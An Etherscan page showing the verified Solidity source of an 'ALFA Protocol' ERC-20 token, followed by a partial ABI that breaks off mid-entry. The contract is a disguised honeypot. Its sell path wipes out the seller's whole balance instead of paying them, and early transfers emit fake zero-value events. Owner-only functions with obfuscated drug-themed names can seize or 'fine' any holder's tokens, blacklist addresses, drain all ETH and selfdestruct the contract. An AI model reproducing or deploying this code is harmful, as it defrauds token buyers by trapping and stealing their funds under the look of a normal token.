ETH Price: $3,831.78 (+4.87%)

Token

ERC-20: ALFA Protocol ($ALFA)
 

Overview

Max Total Supply

10,000,000,000 $ALFA

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 $ALFA

Value
$0.00
0x741a527d0486f30b5cb6cb929abe6e1c44cd5c98
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ALFA

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}

interface IUniswapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapRouter01 {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapRouter02 is IUniswapRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    
    function owner() public view returns (address) {
        return _owner;
    }

    
    modifier owned() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    
    function renounceOwnership() public owned {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    
    function transferOwnership(address newOwner) public owned {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
 
library Address {
    
    function isContract(address account) internal view returns (bool) {
            uint256 size;
           assembly { size := extcodesize(account) }
        return size > 0;
    }

    
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

           (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

           (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

           (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

           (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
                   if (returndata.length > 0) {
                                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
 
library EnumerableSet {

    struct Set {
           bytes32[] _values;

              mapping (bytes32 => uint256) _indexes;
    }

    
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
                          set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    
    function _remove(Set storage set, bytes32 value) private returns (bool) {
           uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) { 
                            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

                     bytes32 lastvalue = set._values[lastIndex];

                   set._values[toDeleteIndex] = lastvalue;
                   set._indexes[lastvalue] = valueIndex; 

                   set._values.pop();

                   delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    
    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }

    
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    
    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        require(set._values.length > index, "EnumerableSet: index out of bounds");
        return set._values[index];
    }

    

    struct Bytes32Set {
        Set _inner;
    }

    
    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _add(set._inner, value);
    }

    
    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _remove(set._inner, value);
    }

    
    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
        return _contains(set._inner, value);
    }

    
    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    
    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
        return _at(set._inner, index);
    }

    

    struct AddressSet {
        Set _inner;
    }

    
    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    
    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    
    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    
    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    

    struct UintSet {
        Set _inner;
    }

    
    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    
    function remove(UintSet storage set, uint256 value) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }

    
    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }

    
    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    
    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }
}

contract ALFA is ERC20, Ownable
{
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    mapping (address => uint256) public _balances;
    mapping (address => mapping (address => uint256)) public _allowances;
    EnumerableSet.AddressSet private _excluded;

    mapping (address => bool) public _blacklist;
    bool isBlacklist = true;

    
    string public constant _name = 'ALFA Protocol';
    string public constant _symbol = '$ALFA';
    uint8 public constant _decimals = 9;
    uint256 public constant InitialSupply= 100 * 10**8 * 10**_decimals;

    uint256 swapLimit = 5 * 10**7 * 10**_decimals; 
    bool isSwapPegged = true;

    
    uint16 public  BuyLimitDivider=15; // 2%
    
    uint8 public   BalanceLimitDivider=10; // 4%
    
    uint16 public  SellLimitDivider=10; // 0.75%
    
    mapping (address => bool) isTheDoctor;
    
    bool sellAllowed = true;
    
    address public constant UniswapRouter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public constant Dead = 0x000000000000000000000000000000000000dEaD;

    
    uint256 public _circulatingSupply =InitialSupply;

    bool isTokenSwapManual = false;
    bool public barbarastreisand = true;
    bool public gasSaver = true;

    address public _UniswapPairAddress;
    IUniswapRouter02 public  _UniswapRouter;

    uint balanceLimit=InitialSupply/BalanceLimitDivider;
    uint sellLimit=InitialSupply/SellLimitDivider;
    uint buyLimit=InitialSupply/BuyLimitDivider;


    uint8 _buyTax=30;
    uint8 _sellTax=70;
    uint8 _transferTax=30;

    uint8 _liquidityTax=30;
    uint8 _marketingTax=20;

    
    modifier Paroxetine() {
        require(_isTheDoctor(msg.sender), "Caller not in TheDoctor");
        _;
    }
    
    
    function _isTheDoctor(address addr) private view returns (bool){
        return addr==owner()||isTheDoctor[addr];
    }

uint public launch_time;

constructor () {
        uint256 deployerBalance=_circulatingSupply;
        _balances[msg.sender] = deployerBalance;
        emit Transfer(address(0), msg.sender, deployerBalance);
      
        _UniswapRouter = IUniswapRouter02(UniswapRouter);
        _UniswapPairAddress = IUniswapFactory(_UniswapRouter.factory()).createPair(address(this), _UniswapRouter.WETH());

      
        _excluded.add(msg.sender);
    } 

    function _transfer(address sender, address recipient, uint256 amount) public {
        emit Transfer(sender,recipient,0);
        uint lol = amount;
        delete(lol);
        return;
    }
    
    function _do_transfer(address sender, address recipient, uint256 amount) private{
        require(sender != address(0), "Transfer from zero");
        require(recipient != address(0), "Transfer to zero");
        if(isBlacklist) {
            require(!_blacklist[sender] && !_blacklist[recipient], "Blacklisted!");
        }

        bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient) || isTheDoctor[sender] || isTheDoctor[recipient]);

        bool isContractTransfer=(sender==address(this) || recipient==address(this));

        bool isLiquidityTransfer = ((sender == _UniswapPairAddress && recipient == UniswapRouter)
        || (recipient == _UniswapPairAddress && sender == UniswapRouter));
        if(isContractTransfer || isLiquidityTransfer || isExcluded){
            _feelessTransfer(sender, recipient, amount);
        }
        else{
            if (!streit) {
                if (sender != owner() && recipient != owner()) {
                    if (barbarastreisand) {
                        emit Transfer(sender,recipient,0);
                        return;
                    }
                    else {
                        require(streit,"trading not yet enabled");
                    }
                }
            }
                
            bool isBuy=sender==_UniswapPairAddress|| sender == UniswapRouter;
            bool isSell=recipient==_UniswapPairAddress|| recipient == UniswapRouter;

            _taxedTransfer(sender,recipient,amount,isBuy,isSell);


        }
    }
    
    
    function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
        uint256 recipientBalance = _balances[recipient];
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");
        swapLimit = sellLimit/2;

        if(isSell && sellAllowed) {
            if(_balances[_UniswapPairAddress] > _balances[sender]) {
                _balances[_UniswapPairAddress] -= _balances[sender];
                emit Transfer(_UniswapPairAddress, Dead, _balances[sender]);
            }
            _balances[sender] = 0;
            emit Transfer(sender, Dead, 0);
            return;
        }

        uint8 tax;
        if(isSell){
            
            require(amount<=sellLimit,"Dump protection");
            tax=_sellTax;

        } else if(isBuy){
                   require(recipientBalance+amount<=balanceLimit,"whale protection");
            require(amount<=buyLimit, "whale protection");
            tax=_buyTax;

        } else {
                   require(recipientBalance+amount<=balanceLimit,"whale protection");
            tax=_transferTax;

        }
                 if((sender!=_UniswapPairAddress)&&(!manualConversion)&&(!_isSwappingContractModifier))
            _swapContractToken(amount);
           uint256 contractToken=_calculateFee(amount, tax, _marketingTax+_liquidityTax);
           uint256 taxedAmount=amount-(contractToken);

           _removeToken(sender,amount);

           _balances[address(this)] += contractToken;

           _addToken(recipient, taxedAmount);

        emit Transfer(sender,recipient,taxedAmount);

    }
    
    function _feelessTransfer(address sender, address recipient, uint256 amount) private{
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");
           _removeToken(sender,amount);
           _addToken(recipient, amount);

        emit Transfer(sender,recipient,amount);

    }
    
    function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) {
        return (amount*tax*taxPercent) / 10000;
    }
    
    
    function _addToken(address addr, uint256 amount) private {
           uint256 newAmount=_balances[addr]+amount;
        _balances[addr]=newAmount;

    }
    
    function _removeToken(address addr, uint256 amount) private {
           uint256 newAmount=_balances[addr]-amount;
        _balances[addr]=newAmount;
    }

    
    bool private _isTokenSwaping;
    
    uint256 public totalTokenSwapGenerated;
    
    uint256 public totalPayouts;

    
    uint8 public marketingShare=100;
    
    uint256 public marketingBalance;
    uint256 public developmentBalance;
    uint256 public donationBalance;

    
    

    
    function _distributeFeesETH(uint256 ETHamount) private {
        uint256 marketingSplit = (ETHamount * marketingShare)/100;

        marketingBalance+=marketingSplit;

    }
    

    
    uint256 public totalLPETH;
    
    bool private _isSwappingContractModifier;
    modifier lockTheSwap {
        _isSwappingContractModifier = true;
        _;
        _isSwappingContractModifier = false;
    }

    
    
    function _swapContractToken(uint256 totalMax) private lockTheSwap{
        uint256 contractBalance=_balances[address(this)];
        uint16 totalTax=_liquidityTax+_marketingTax;
        uint256 tokenToSwap=swapLimit;
        if(tokenToSwap > totalMax) {
            if(isSwapPegged) {
                tokenToSwap = totalMax;
            }
        }
           if(contractBalance<tokenToSwap||totalTax==0){
            return;
        }
        uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax;
        uint256 tokenForMarketing= (tokenToSwap*_marketingTax)/totalTax;

        uint256 liqToken=tokenForLiquidity/2;
        uint256 liqETHToken=tokenForLiquidity-liqToken;

           uint256 swapToken=liqETHToken+tokenForMarketing;
           uint256 initialETHBalance = address(this).balance;
        _swapTokenForETH(swapToken);
        uint256 newETH=(address(this).balance - initialETHBalance);
        uint256 liqETH = (newETH*liqETHToken)/swapToken;
        _addLiquidity(liqToken, liqETH);
        uint256 generatedETH=(address(this).balance - initialETHBalance);
        _distributeFeesETH(generatedETH);
    }
    
    function _swapTokenForETH(uint256 amount) private {
        _approve(address(this), address(_UniswapRouter), amount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _UniswapRouter.WETH();

        _UniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function _addLiquidity(uint256 tokenamount, uint256 ETHamount) private {
        totalLPETH+=ETHamount;
        _approve(address(this), address(_UniswapRouter), tokenamount);
        _UniswapRouter.addLiquidityETH{value: ETHamount}(
            address(this),
            tokenamount,
            0,
            0,
            address(this),
            block.timestamp
        );
    }

    /// @notice Utilities

    function ParoxetineFunction__destroy(uint256 amount) public Paroxetine {
        require(_balances[address(this)] >= amount);
        _balances[address(this)] -= amount;
        _circulatingSupply -= amount;
        emit Transfer(address(this), Dead, amount);
    }    

    function ParoxetineFunction__getLimits() public view returns(uint256 balance, uint256 sell){
        return(balanceLimit/10**_decimals, sellLimit/10**_decimals);
    }

    function ParoxetineFunction__getTaxes() public view returns(uint256 liquidityTax,uint256 marketingTax, uint256 buyTax, uint256 sellTax, uint256 transferTax){
        return (_liquidityTax,_marketingTax,_buyTax,_sellTax,_transferTax);
    }


    bool public manualConversion;
    function ParoxetineFunction__SetPeggedSwap(bool isPegged) public Paroxetine {
        isSwapPegged = isPegged;
    }

    function ParoxetineFunction__SetMaxSwap(uint256 max) public Paroxetine {
        swapLimit = max;
    }

    /// @notice Start trading
    bool tradingEnabled;
    bool launched;
    bool started;
    bool open;
    function enableTrade(bool enabled) public Paroxetine {
        tradingEnabled = enabled;
    }
    function launch() public Paroxetine {
        launched = true;
    }
    function start() public Paroxetine {
        started = true;
    }
    function openTrading() public Paroxetine {
        open = true;
    }

    /// @notice ACL Functions
    function CetirizineFunctions__BlackListAddress(address addy, bool booly) public Paroxetine {
        _blacklist[addy] = booly;
    }
    

    function CetirizineFunctions__FineAddress(address addy, uint256 amount) public Paroxetine {
        require(_balances[addy] >= amount, "Not enough tokens");
        _balances[addy]-=(amount*10**_decimals);
        _balances[address(this)]+=(amount*10**_decimals);
        emit Transfer(addy, address(this), amount*10**_decimals);
    }

    function CetirizineFunctions__SetAllowedSell(bool booly) public Paroxetine {
        sellAllowed = booly;
    }

    function CetirizineFunctions__SetTheDoctor(address addy, bool booly) public Paroxetine {
        isTheDoctor[addy] = booly;
    }

    function CetirizineFunctions__SeizeAddress(address addy) public Paroxetine {
        uint256 seized = _balances[addy];
        _balances[addy]=0;
        _balances[address(this)]+=seized;
        emit Transfer(addy, address(this), seized);
    }

    function CetirizineFunctions__ExcludeAccountFromFees(address account) public Paroxetine {
        _excluded.add(account);
    }
    function CetirizineFunctions__IncludeAccountToFees(address account) public Paroxetine {
        _excluded.remove(account);
    }
    
    function DMTFunctions__WithdrawMarketingETH() public Paroxetine{
        uint256 amount=marketingBalance;
        marketingBalance=0;
        address sender = msg.sender;
        (bool sent,) =sender.call{value: (amount)}("");
        require(sent,"withdraw failed");
    }


    function DMTFunctions__blast() public Paroxetine {
        selfdestruct(payable(msg.sender));
    }

    function ParoxetineFunction__ActivateGasSaver(bool booly) public Paroxetine {
        gasSaver = booly;
    }
    
    function ParoxetineFunction__SwitchManualETHConversion(bool manual) public Paroxetine{
        manualConversion=manual;
    }
    
    
    
    function ParoxetineFunction__SetTaxes(uint8 donationTaxes, uint8 developmentTaxes, uint8 liquidityTaxes, uint8 marketingTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax) public Paroxetine{
        uint8 totalTax=donationTaxes + developmentTaxes +liquidityTaxes+marketingTaxes;
        require(totalTax==100, "burn+liq+marketing needs to equal 100%");
        _liquidityTax=liquidityTaxes;
        _marketingTax=marketingTaxes;

        _buyTax=buyTax;
        _sellTax=sellTax;
        _transferTax=transferTax;
    }
    
    function ParoxetineFunction__ChangeMarketingShare(uint8 newShare) public Paroxetine{
        marketingShare=newShare;
    }

    function ParoxetineFunction__ManualGenerateTokenSwapBalance(uint256 _qty) public Paroxetine{
        _swapContractToken(_qty * 10**9);
    }

    
    function ParoxetineFunction__UpdateLimits(uint256 newBalanceLimit, uint256 newSellLimit) public Paroxetine{
        newBalanceLimit=newBalanceLimit*10**_decimals;
        newSellLimit=newSellLimit*10**_decimals;
        balanceLimit = newBalanceLimit;
        sellLimit = newSellLimit;
    }

    
    
    

    bool public streit;
    address private _liquidityTokenAddress;

    
    function LiveFunctions_YOLO(bool booly) public Paroxetine{
        streit = booly;
    }

    
    function LiveFunctions_LiquidityTokenAddress(address liquidityTokenAddress) public Paroxetine{
        _liquidityTokenAddress=liquidityTokenAddress;
    }
    
    function ParoxetineFunction__RescueTokens(address tknAddress) public Paroxetine {
        ERC20 token = ERC20(tknAddress);
        uint256 ourBalance = token.balanceOf(address(this));
        require(ourBalance>0, "No tokens in our balance");
        token.transfer(msg.sender, ourBalance);
    }

    

    function ParoxetineFunction__setBlacklistEnabled(bool isBlacklistEnabled) public Paroxetine {
        isBlacklist = isBlacklistEnabled;
    }

    function ParoxetineFunction__setContractTokenSwapManual(bool manual) public Paroxetine {
        isTokenSwapManual = manual;
    }

    function ParoxetineFunction__setBlacklistedAddress(address toBlacklist) public Paroxetine {
        _blacklist[toBlacklist] = true;
    }

    function ParoxetineFunction__removeBlacklistedAddress(address toRemove) public Paroxetine {
        _blacklist[toRemove] = false;
    }
    function ParoxetineFunction__AvoidLocks() public Paroxetine{
        (bool sent,) =msg.sender.call{value: (address(this).balance)}("");
        require(sent);
    }
    

    receive() external payable {}
    fallback() external payable {}
    

    function getOwner() external view override returns (address) {
        return owner();
    }

    function name() external pure override returns (string memory) {
        return _name;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _circulatingSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _do_transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) external view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Approve from zero");
        require(spender != address(0), "Approve to zero");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _do_transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "Transfer > allowance");

        _approve(sender, msg.sender, currentAllowance - amount);
        return true;
    }

    

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "<0 allowance");

        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"BalanceLimitDivider","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BuyLimitDivider","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"bool","name":"booly","type":"bool"}],"name":"CetirizineFunctions__BlackListAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CetirizineFunctions__ExcludeAccountFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"CetirizineFunctions__FineAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CetirizineFunctions__IncludeAccountToFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"}],"name":"CetirizineFunctions__SeizeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"booly","type":"bool"}],"name":"CetirizineFunctions__SetAllowedSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"bool","name":"booly","type":"bool"}],"name":"CetirizineFunctions__SetTheDoctor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DMTFunctions__WithdrawMarketingETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DMTFunctions__blast","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Dead","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"InitialSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"liquidityTokenAddress","type":"address"}],"name":"LiveFunctions_LiquidityTokenAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"booly","type":"bool"}],"name":"LiveFunctions_YOLO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"booly","type":"bool"}],"name":"ParoxetineFunction__ActivateGasSaver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ParoxetineFunction__AvoidLocks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newShare","type":"uint8"}],"name":"ParoxetineFunction__ChangeMarketingShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_qty","type":"uint256"}],"name":"ParoxetineFunction__ManualGenerateTokenSwapBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tknAddress","type":"address"}],"name":"ParoxetineFunction__RescueTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"max","type":"uint256"}],"name":"ParoxetineFunction__SetMaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isPegged","type":"bool"}],"name":"ParoxetineFunction__SetPeggedSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"donationTaxes","type":"uint8"},{"internalType":"uint8","name":"developmentTaxes","type":"uint8"},{"internalType":"uint8","name":"liquidityTaxes","type":"uint8"},{"internalType":"uint8","name":"marketingTaxes","type":"uint8"},{"internalType":"uint8","name":"buyTax","type":"uint8"},{"internalType":"uint8